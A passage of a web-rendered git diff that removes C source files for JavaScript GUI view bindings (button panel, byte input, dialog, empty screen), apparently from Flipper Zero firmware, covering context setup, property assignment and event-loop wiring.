||||
case JsButtonPanelChildTypeIcon: {
|
||||
const Icon* icon;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_icon),
|
||||
JsValueParseFlagReturnOnError,
|
||||
&status,
|
||||
&child_obj,
|
||||
&icon);
|
||||
if(status != JsValueParseStatusOk) return false;
|
||||
button_panel_add_icon(panel, x, y, icon);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void js_button_panel_reset_children(ButtonPanel* panel, JsBtnPanelContext* context) {
|
||||
context->next_index = 0;
|
||||
button_panel_reset(panel);
|
||||
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
|
||||
str_buffer_clear_all_clones(&context->str_buffer);
|
||||
}
|
||||
|
||||
static JsBtnPanelContext* ctx_make(struct mjs* mjs, ButtonPanel* panel, mjs_val_t view_obj) {
|
||||
UNUSED(panel);
|
||||
JsBtnPanelContext* context = malloc(sizeof(JsBtnPanelContext));
|
||||
*context = (JsBtnPanelContext){
|
||||
.matrix_x = 1,
|
||||
.matrix_y = 1,
|
||||
.next_index = 0,
|
||||
.str_buffer = {0},
|
||||
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnPanelEvent)),
|
||||
};
|
||||
context->contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeQueue,
|
||||
.object = context->input_queue,
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
.transformer = (JsEventLoopTransformer)input_transformer,
|
||||
.transformer_context = context,
|
||||
},
|
||||
};
|
||||
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
|
||||
return context;
|
||||
}
|
||||
|
||||
static void ctx_destroy(ButtonPanel* input, JsBtnPanelContext* context, FuriEventLoop* loop) {
|
||||
UNUSED(input);
|
||||
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
|
||||
furi_message_queue_free(context->input_queue);
|
||||
str_buffer_clear_all_clones(&context->str_buffer);
|
||||
free(context);
|
||||
}
|
||||
|
||||
static const JsViewDescriptor view_descriptor = {
|
||||
.alloc = (JsViewAlloc)button_panel_alloc,
|
||||
.free = (JsViewFree)button_panel_free,
|
||||
.get_view = (JsViewGetView)button_panel_get_view,
|
||||
.custom_make = (JsViewCustomMake)ctx_make,
|
||||
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
|
||||
.add_child = (JsViewAddChild)js_button_panel_add_child,
|
||||
.reset_children = (JsViewResetChildren)js_button_panel_reset_children,
|
||||
.prop_cnt = 2,
|
||||
.props = {
|
||||
(JsViewPropDescriptor){
|
||||
.name = "matrixSizeX",
|
||||
.type = JsViewPropTypeNumber,
|
||||
.assign = (JsViewPropAssign)matrix_size_x_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "matrixSizeY",
|
||||
.type = JsViewPropTypeNumber,
|
||||
.assign = (JsViewPropAssign)matrix_size_y_assign},
|
||||
}};
|
||||
|
||||
JS_GUI_VIEW_DEF(button_panel, &view_descriptor);
|
||||
@@ -1,158 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include "js_gui.h"
|
||||
#include "../js_event_loop/js_event_loop.h"
|
||||
#include <gui/modules/byte_input.h>
|
||||
|
||||
#define DEFAULT_BUF_SZ 4
|
||||
|
||||
typedef struct {
|
||||
uint8_t* buffer;
|
||||
size_t buffer_size;
|
||||
size_t default_data_size;
|
||||
FuriString* header;
|
||||
FuriSemaphore* input_semaphore;
|
||||
JsEventLoopContract contract;
|
||||
} JsByteKbContext;
|
||||
|
||||
static mjs_val_t
|
||||
input_transformer(struct mjs* mjs, FuriSemaphore* semaphore, JsByteKbContext* context) {
|
||||
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
|
||||
return mjs_mk_array_buf(mjs, (char*)context->buffer, context->buffer_size);
|
||||
}
|
||||
|
||||
static void input_callback(JsByteKbContext* context) {
|
||||
furi_semaphore_release(context->input_semaphore);
|
||||
}
|
||||
|
||||
static bool header_assign(
|
||||
struct mjs* mjs,
|
||||
ByteInput* input,
|
||||
JsViewPropValue value,
|
||||
JsByteKbContext* context) {
|
||||
UNUSED(mjs);
|
||||
furi_string_set(context->header, value.string);
|
||||
byte_input_set_header_text(input, furi_string_get_cstr(context->header));
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool
|
||||
len_assign(struct mjs* mjs, ByteInput* input, JsViewPropValue value, JsByteKbContext* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(input);
|
||||
size_t new_buffer_size = value.number;
|
||||
if(new_buffer_size < context->default_data_size) {
|
||||
// Avoid confusing parameters from user
|
||||
mjs_prepend_errorf(
|
||||
mjs, MJS_BAD_ARGS_ERROR, "length must be larger than defaultData length");
|
||||
return false;
|
||||
}
|
||||
context->buffer_size = new_buffer_size;
|
||||
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
|
||||
byte_input_set_result_callback(
|
||||
input,
|
||||
(ByteInputCallback)input_callback,
|
||||
NULL,
|
||||
context,
|
||||
context->buffer,
|
||||
context->buffer_size);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool default_data_assign(
|
||||
struct mjs* mjs,
|
||||
ByteInput* input,
|
||||
JsViewPropValue value,
|
||||
JsByteKbContext* context) {
|
||||
UNUSED(mjs);
|
||||
|
||||
mjs_val_t array_buf = value.term;
|
||||
if(mjs_is_data_view(array_buf)) {
|
||||
array_buf = mjs_dataview_get_buf(mjs, array_buf);
|
||||
}
|
||||
char* default_data = mjs_array_buf_get_ptr(mjs, array_buf, &context->default_data_size);
|
||||
if(context->buffer_size < context->default_data_size) {
|
||||
// Ensure buffer is large enough for defaultData
|
||||
context->buffer_size = context->default_data_size;
|
||||
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
|
||||
}
|
||||
memcpy(context->buffer, (uint8_t*)default_data, context->default_data_size);
|
||||
if(context->buffer_size > context->default_data_size) {
|
||||
// Reset previous data after defaultData
|
||||
memset(
|
||||
context->buffer + context->default_data_size,
|
||||
0x00,
|
||||
context->buffer_size - context->default_data_size);
|
||||
}
|
||||
|
||||
byte_input_set_result_callback(
|
||||
input,
|
||||
(ByteInputCallback)input_callback,
|
||||
NULL,
|
||||
context,
|
||||
context->buffer,
|
||||
context->buffer_size);
|
||||
return true;
|
||||
}
|
||||
|
||||
static JsByteKbContext* ctx_make(struct mjs* mjs, ByteInput* input, mjs_val_t view_obj) {
|
||||
JsByteKbContext* context = malloc(sizeof(JsByteKbContext));
|
||||
*context = (JsByteKbContext){
|
||||
.buffer_size = DEFAULT_BUF_SZ,
|
||||
.buffer = malloc(DEFAULT_BUF_SZ),
|
||||
.header = furi_string_alloc(),
|
||||
.input_semaphore = furi_semaphore_alloc(1, 0),
|
||||
};
|
||||
context->contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeSemaphore,
|
||||
.object = context->input_semaphore,
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
.transformer = (JsEventLoopTransformer)input_transformer,
|
||||
.transformer_context = context,
|
||||
},
|
||||
};
|
||||
byte_input_set_result_callback(
|
||||
input,
|
||||
(ByteInputCallback)input_callback,
|
||||
NULL,
|
||||
context,
|
||||
context->buffer,
|
||||
context->buffer_size);
|
||||
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
|
||||
return context;
|
||||
}
|
||||
|
||||
static void ctx_destroy(ByteInput* input, JsByteKbContext* context, FuriEventLoop* loop) {
|
||||
UNUSED(input);
|
||||
furi_event_loop_maybe_unsubscribe(loop, context->input_semaphore);
|
||||
furi_semaphore_free(context->input_semaphore);
|
||||
furi_string_free(context->header);
|
||||
free(context->buffer);
|
||||
free(context);
|
||||
}
|
||||
|
||||
static const JsViewDescriptor view_descriptor = {
|
||||
.alloc = (JsViewAlloc)byte_input_alloc,
|
||||
.free = (JsViewFree)byte_input_free,
|
||||
.get_view = (JsViewGetView)byte_input_get_view,
|
||||
.custom_make = (JsViewCustomMake)ctx_make,
|
||||
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
|
||||
.prop_cnt = 3,
|
||||
.props = {
|
||||
(JsViewPropDescriptor){
|
||||
.name = "header",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)header_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "length",
|
||||
.type = JsViewPropTypeNumber,
|
||||
.assign = (JsViewPropAssign)len_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "defaultData",
|
||||
.type = JsViewPropTypeTypedArr,
|
||||
.assign = (JsViewPropAssign)default_data_assign},
|
||||
}};
|
||||
|
||||
JS_GUI_VIEW_DEF(byte_input, &view_descriptor);
|
||||
@@ -1,129 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include "js_gui.h"
|
||||
#include "../js_event_loop/js_event_loop.h"
|
||||
#include <gui/modules/dialog_ex.h>
|
||||
|
||||
#define QUEUE_LEN 2
|
||||
|
||||
typedef struct {
|
||||
FuriMessageQueue* queue;
|
||||
JsEventLoopContract contract;
|
||||
} JsDialogCtx;
|
||||
|
||||
static mjs_val_t
|
||||
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsDialogCtx* context) {
|
||||
UNUSED(context);
|
||||
DialogExResult result;
|
||||
furi_check(furi_message_queue_get(queue, &result, 0) == FuriStatusOk);
|
||||
const char* string;
|
||||
if(result == DialogExResultLeft) {
|
||||
string = "left";
|
||||
} else if(result == DialogExResultCenter) {
|
||||
string = "center";
|
||||
} else if(result == DialogExResultRight) {
|
||||
string = "right";
|
||||
} else {
|
||||
furi_crash();
|
||||
}
|
||||
return mjs_mk_string(mjs, string, ~0, false);
|
||||
}
|
||||
|
||||
static void input_callback(DialogExResult result, JsDialogCtx* context) {
|
||||
furi_check(furi_message_queue_put(context->queue, &result, 0) == FuriStatusOk);
|
||||
}
|
||||
|
||||
static bool
|
||||
header_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(context);
|
||||
dialog_ex_set_header(dialog, value.string, 64, 0, AlignCenter, AlignTop);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool
|
||||
text_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(context);
|
||||
dialog_ex_set_text(dialog, value.string, 64, 32, AlignCenter, AlignCenter);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool
|
||||
left_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(context);
|
||||
dialog_ex_set_left_button_text(dialog, value.string);
|
||||
return true;
|
||||
}
|
||||
static bool
|
||||
center_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(context);
|
||||
dialog_ex_set_center_button_text(dialog, value.string);
|
||||
return true;
|
||||
}
|
||||
static bool
|
||||
right_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
|
||||
UNUSED(mjs);
|
||||
UNUSED(context);
|
||||
dialog_ex_set_right_button_text(dialog, value.string);
|
||||
return true;
|
||||
}
|
||||
|
||||
static JsDialogCtx* ctx_make(struct mjs* mjs, DialogEx* dialog, mjs_val_t view_obj) {
|
||||
JsDialogCtx* context = malloc(sizeof(JsDialogCtx));
|
||||
context->queue = furi_message_queue_alloc(QUEUE_LEN, sizeof(DialogExResult));
|
||||
context->contract = (JsEventLoopContract){
|
||||
.magic = JsForeignMagic_JsEventLoopContract,
|
||||
.object_type = JsEventLoopObjectTypeQueue,
|
||||
.object = context->queue,
|
||||
.non_timer =
|
||||
{
|
||||
.event = FuriEventLoopEventIn,
|
||||
.transformer = (JsEventLoopTransformer)input_transformer,
|
||||
},
|
||||
};
|
||||
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
|
||||
dialog_ex_set_result_callback(dialog, (DialogExResultCallback)input_callback);
|
||||
dialog_ex_set_context(dialog, context);
|
||||
return context;
|
||||
}
|
||||
|
||||
static void ctx_destroy(DialogEx* input, JsDialogCtx* context, FuriEventLoop* loop) {
|
||||
UNUSED(input);
|
||||
furi_event_loop_maybe_unsubscribe(loop, context->queue);
|
||||
furi_message_queue_free(context->queue);
|
||||
free(context);
|
||||
}
|
||||
|
||||
static const JsViewDescriptor view_descriptor = {
|
||||
.alloc = (JsViewAlloc)dialog_ex_alloc,
|
||||
.free = (JsViewFree)dialog_ex_free,
|
||||
.get_view = (JsViewGetView)dialog_ex_get_view,
|
||||
.custom_make = (JsViewCustomMake)ctx_make,
|
||||
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
|
||||
.prop_cnt = 5,
|
||||
.props = {
|
||||
(JsViewPropDescriptor){
|
||||
.name = "header",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)header_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "text",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)text_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "left",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)left_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "center",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)center_assign},
|
||||
(JsViewPropDescriptor){
|
||||
.name = "right",
|
||||
.type = JsViewPropTypeString,
|
||||
.assign = (JsViewPropAssign)right_assign},
|
||||
}};
|
||||
|
||||
JS_GUI_VIEW_DEF(dialog, &view_descriptor);
|
||||
@@ -1,12 +0,0 @@
|
||||
#include "../../js_modules.h" // IWYU pragma: keep
|
||||
#include "js_gui.h"
|
||||
#include <gui/modules/empty_screen.h>
|
||||
|
||||
static const JsViewDescriptor view_descriptor = {
|
||||
.alloc = (JsViewAlloc)empty_screen_alloc,
|
||||
.free = (JsViewFree)empty_screen_free,
|
||||
.get_view = (JsViewGetView)empty_screen_get_view,
|
||||
.prop_cnt = 0,
|
||||
.props = {},
|
||||
};
|
||||
JS_GUI_VIEW_DEF(empty_screen, &view_descriptor);
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user